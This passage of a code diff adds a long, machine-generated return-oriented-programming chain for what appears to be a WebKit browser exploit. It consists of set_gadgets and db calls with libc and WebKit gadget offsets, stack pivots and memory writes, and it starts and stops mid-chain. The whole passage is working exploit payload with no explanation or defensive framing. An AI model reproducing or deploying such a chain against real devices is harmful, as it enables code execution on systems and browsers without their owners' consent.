+webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+135544, //L1809 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+135560, //L1810 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L1808: +db([24, 0]); // 0x18 +set_gadget(libc_base+165442,); //pop rdi +//L1809: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L1810: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1811: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+857161, //shl rax, cl +libc_base+713278, //pop rsi +ropchain+135632, //L1812 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+165442 //pop rdi +]); +//L1812: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+288783, //sar edi, cl +libc_base+713278, //pop rsi +ropchain+135760, //L1815 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+135776, //L1816 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+135744, //L1814 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L1814: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L1815: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1816: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+135856, //L1817 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+135872, //L1818 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L1817: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1818: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+135968, //L1820 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+135952, //L1819 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L1819: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1820: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+136080, //L1823 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+768796 //pop rax +]); +//L1821: +db([10, 0]); // 0xa +set_gadget(libc_base+165442,); //pop rdi +//L1822: +db([10, 0]); // 0xa +set_gadget(webkit_base+3789839,); //pop r11 +//L1823: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+136192, //L1824 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+136224, //L1826 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+136208, //L1825 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L1824: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1825: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1826: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +webkit_base+15055763, //cmp rax, rcx ; sete al +libc_base+350006, //setne al +libc_base+232261, //movzx eax, al +libc_base+713278, //pop rsi +ropchain+136384, //L1827 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+136416, //L1829 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+136400, //L1828 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L1827: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L1828: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1829: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+136528, //L1830 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+136576, //L1833 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+136544, //L1831 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L1830: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1831: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +//L1832: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1833: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+11809960, //cmp rax, rsi ; sete al +libc_base+350006, //setne al +libc_base+232261, //movzx eax, al +libc_base+713278, //pop rsi +ropchain+136648, //L1834 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1834: +db([0, 0]); // 0x0 +//L1789: +set_gadgets([ +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+136760, //L1836 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+136792, //L1838 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+136776, //L1837 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L1836: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L1837: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1838: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+136904, //L1839 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+136952, //L1842 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+136920, //L1840 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L1839: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1840: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +//L1841: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1842: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+11809960, //cmp rax, rsi ; sete al +libc_base+350006, //setne al +libc_base+232261, //movzx eax, al +libc_base+713278, //pop rsi +ropchain+137024, //L1843 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1843: +db([0, 0]); // 0x0 +//L1736: +set_gadgets([ +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+137136, //L1845 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+137168, //L1847 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+137152, //L1846 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L1845: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L1846: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1847: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+137312, //L1851 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+137328, //L1852 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+137296, //L1850 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+713278 //pop rsi +]); +//L1849: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1850: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L1851: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1852: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+11809960, //cmp rax, rsi ; sete al +libc_base+232261, //movzx eax, al +webkit_base+426067, //shl rax, 3 +libc_base+713278, //pop rsi +ropchain+137440, //L1853+8 +libc_base+507828, //add rax, rsi +libc_base+145226, //mov rax, [rax] +libc_base+713278, //pop rsi +ropchain+137432, //L1853 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+489696 //pop rsp +]); +//L1853: +db([0, 0]); // 0x0 +set_gadgets([ +ropchain+137456, //L1853+24 +ropchain+139800, //L1848 +libc_base+713278, //pop rsi +ropchain+137512, //L1855 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L1854: +db([16, 0]); // 0x10 +set_gadget(libc_base+772328,); //pop rcx +//L1855: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+137616, //L1858 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+137600, //L1857 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1857: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1858: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149873, //mov eax, [rdi] +libc_base+713278, //pop rsi +ropchain+137776, //L1861 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+137808, //L1863 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+137760, //L1860 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+137792, //L1862 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L1860: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1861: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L1862: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1863: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+137888, //L1864 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+137904, //L1865 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L1864: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1865: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+138064, //L1869 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+138032, //L1867 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+138048, //L1868 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L1866: +db([56, 0]); // 0x38 +set_gadget(libc_base+165442,); //pop rdi +//L1867: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L1868: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1869: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+857161, //shl rax, cl +libc_base+857183, //shr rax, cl +libc_base+713278, //pop rsi +ropchain+138168, //L1871 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+138152, //L1870 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L1870: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1871: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+138264, //L1873 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L1872: +db([24, 0]); // 0x18 +set_gadget(libc_base+772328,); //pop rcx +//L1873: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+138368, //L1876 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+138352, //L1875 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1875: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1876: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+138448, //L1878 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+138464, //L1879 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L1878: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1879: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+138608, //L1882 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+138576, //L1880 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+138592, //L1881 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L1880: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1881: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1882: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+138696, //L1884 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+713278 //pop rsi +]); +//L1883: +db([1, 0]); // 0x1 +set_gadget(libc_base+768796,); //pop rax +//L1884: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+138800, //L1886 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L1885: +db([24, 0]); // 0x18 +set_gadget(libc_base+772328,); //pop rcx +//L1886: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+138904, //L1889 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+138888, //L1888 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1888: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1889: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+138992, //L1891 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+139008, //L1892 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+772328 //pop rcx +]); +//L1891: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1892: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+139064, //L1894 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1894: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+2989859, //mov [rax], rcx +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+139184, //L1896 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1896: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+139240, //L1898 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1898: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+887232, //mov [rax], cl +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+139384, //L1902 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+139368, //L1901 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L1900: +db([56, 0]); // 0x38 +set_gadget(webkit_base+3789839,); //pop r11 +//L1901: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1902: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+857161, //shl rax, cl +libc_base+857183, //shr rax, cl +libc_base+713278, //pop rsi +ropchain+139504, //L1903 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+139536, //L1905 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278, //pop rsi +ropchain+139520, //L1904 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L1903: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1904: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1905: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+139640, //L1906 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+139656, //L1907 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1420514 //pop r8 +]); +//L1906: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1907: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+139776, //L1908 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+139760, //L1909 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+768796 //pop rax +]); +//L1909: +db([0, 0]); // 0x0 +set_gadget(libc_base+489696,); //pop rsp +//L1908: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+489696, //pop rsp +ropchain+141248, //L1910 +//L1848: +libc_base+713278, //pop rsi +ropchain+139856, //L1912 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L1911: +db([24, 0]); // 0x18 +set_gadget(libc_base+772328,); //pop rcx +//L1912: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+139960, //L1915 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+139944, //L1914 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1914: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1915: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+140104, //L1919 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+140072, //L1917 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+140088, //L1918 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L1917: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1918: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1919: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+140200, //L1921 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L1920: +db([16, 0]); // 0x10 +set_gadget(libc_base+772328,); //pop rcx +//L1921: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+140304, //L1924 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+140288, //L1923 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1923: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1924: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149873, //mov eax, [rdi] +libc_base+713278, //pop rsi +ropchain+140464, //L1927 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+140496, //L1929 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+140448, //L1926 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+140480, //L1928 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L1926: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1927: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L1928: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1929: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+140592, //L1931 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+140576, //L1930 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L1930: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1931: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+768796, //pop rax +//L1933: +ropchain+140696, //L1932 +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+489696, //pop rsp +ropchain+141576, //L1934 +//L1932: +libc_base+863109, //mov rax, rcx +libc_base+713278 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+140824, //L1935 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+140856, //L1937 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+140840, //L1936 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L1935: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L1936: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1937: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+140968, //L1938 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+141000, //L1940 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278, //pop rsi +ropchain+140984, //L1939 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L1938: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1939: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1940: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+141104, //L1941 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+141120, //L1942 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1420514 //pop r8 +]); +//L1941: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1942: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+141240, //L1943 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+141224, //L1944 +webkit_base+4687784, //mov [rsi], rax ; mov 